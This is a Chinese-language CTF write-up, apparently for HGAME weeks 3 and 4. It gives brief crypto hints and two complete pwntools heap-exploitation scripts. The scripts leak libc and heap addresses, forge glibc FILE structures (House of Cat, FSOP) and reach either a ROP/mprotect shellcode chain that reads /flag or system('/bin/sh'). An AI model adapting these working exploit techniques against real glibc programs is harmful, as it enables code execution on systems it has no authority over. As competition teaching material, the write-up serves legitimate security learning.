Crypto

LLLCG

直接第二个数除第一个数取整

ECRSA

和rsa一样，把曲线点加群的阶看成phi，正常解密

LLLCG Revenge

hnp的格子

Pwn

without_hook

cat的链子，FSOP触发

```
from pwn import *
context(arch="amd64")

p = remote('week-3.hgame.lwsec.cn',30052)
#p = process("./vuln")
libc = ELF("./libc.so.6")

se = lambda data :p.send(data)
sea = lambda delim,data :p.sendafter(delim,data)
sl = lambda data :p.sendline(data)
```

```
sla = lambda delim,data :p.sendlineafter(delim,data)
ru = lambda delims,drop=True :p.recvuntil(delims,drop)
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
lg = lambda name,addr :log.success(name+'='+hex(addr))


def cmd(i):
    sla(">",str(i))

def add(idx,size):
    cmd(1)
    sla("Index: ",str(idx))
    sla("Size: ",str(size))

def dele(idx):
    cmd(2)
    sla("Index: ",str(idx))

def edit(idx,cont):
    cmd(3)
    sla("Index: ",str(idx))
    sea("Content: ",cont)

def show(idx):
    cmd(4)
    sla("Index: ",str(idx))

add(0,0x520)
add(1,0x510)
add(2,0x510)
dele(0)
show(0)
libcbase = uu64(ru("\n"))-0x1f6cc0
lg("libcbase",libcbase)
IO_list = libcbase+0x1f7660
```

```
wfile_jumps = libcbase+0x1f30a0
lg("wfile_jumps",wfile_jumps)
setcontext = libcbase+0x41B1D
pop_rdi = libcbase+0x23ba5
pop_rdx_rbx = libcbase+0x8bbb9
pop_rsi = libcbase+0x251fe
ret = libcbase+0x22d19
mprotect = libcbase+libc.sym['mprotect']


add(3,0x540)
edit(0,b'a'*0x10)
show(0)
ru(b'a'*0x10)
heap_addr = uu64(ru("\n"))
lg("heap_addr",heap_addr)

edit(0,p64(libcbase+0x1f70f0)*2+p64(0)+p64(IO_list-0x20))
#gdb.attach(p)
dele(2)
add(4,0x540)

orw = p64(pop_rdi)+p64((heap_addr>>12)
<<12)+p64(pop_rsi)+p64(0x1000)+p64(pop_rdx_rbx)+p64(0x7)+
p64(0)+p64(mprotect)+p64(heap_addr+0x68)
orw+=asm(shellcraft.openat(0,'/flag')+shellcraft.read(3,h
eap_addr+0x1000,0x100)+shellcraft.write(1,heap_addr+0x100
0,0x100))
payload = p64(heap_addr+0x20)+p64(ret)+orw
edit(0,payload)

fake_io_addr = heap_addr+0xa50
lg("fake_io_addr",fake_io_addr)



fake_io = p64(0)*8
```

```
fake_io += p64(1)+p64(2)
fake_io += p64(heap_addr-0xa0+0x10)
fake_io += p64(setcontext)
fake_io += pack(-1)
fake_io += p64(0)
fake_io = fake_io.ljust(0x88,b'\x00')
fake_io += p64(heap_addr-0x200)
fake_io = fake_io.ljust(0xa0,b'\x00')
fake_io += p64(fake_io_addr+0x30)
fake_io = fake_io.ljust(0xc0,b'\x00')
fake_io += p64(1)
fake_io = fake_io.ljust(0xd8,b'\x00')
fake_io += p64(wfile_jumps+0x30)
fake_io += p64(0)*6
fake_io += p64(fake_io_addr+0x40)
edit(2,fake_io[0x10:])


#gdb.attach(p)
cmd(5)

p.interactive()
```

4nswer's gift

malloc超过0x20000的堆块不从topchunk扩充，而是利用mmap分配，调试发现在libc基址附近，可以通过libc基地址算出这个堆块的位置，后面一样cat的链子，FSOP触发

```
from pwn import *

p = remote('week-4.hgame.lwsec.cn',31295)
#p = process("./vuln")
libc = ELF("./libc.so.6")
```

```
se = lambda data :p.send(data)
sea = lambda delim,data :p.sendafter(delim,data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim,data)
ru = lambda delims,drop=True :p.recvuntil(delims,drop)
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
lg = lambda name,addr :log.success(name+'='+hex(addr))

ru("looks like this: ")
libcbase = int(ru("\n"),16)-libc.sym['_IO_list_all']
lg("libcbase",libcbase)
wfile_jumps = libcbase+0x1f30a0
io_list_all = libcbase+libc.sym['_IO_list_all']
system = libcbase+libc.sym['system']
heap_addr = libcbase-0x1003ff0
lg("heap_addr", heap_addr)

fake_io = b'/bin/sh\x00'+p64(0)*7
fake_io += p64(1)+p64(2)
fake_io += p64(heap_addr+0x10000)
fake_io += p64(system)
fake_io += pack(-1)
fake_io += p64(0)
fake_io = fake_io.ljust(0x88,b'\x00')
fake_io += p64(heap_addr+0x10000)
fake_io = fake_io.ljust(0xa0,b'\x00')
fake_io += p64(heap_addr+0x30)
fake_io = fake_io.ljust(0xc0,b'\x00')
fake_io += p64(1)
fake_io = fake_io.ljust(0xd8,b'\x00')
fake_io += p64(wfile_jumps+0x30)
fake_io += p64(0)*6
fake_io += p64(heap_addr+0x40)
```

```
#gdb.attach(p)
sla("put into the gift?",str(0x1000000))
sla("put into the gitf?",fake_io)

#gdb.attach(p)

p.interactive()
```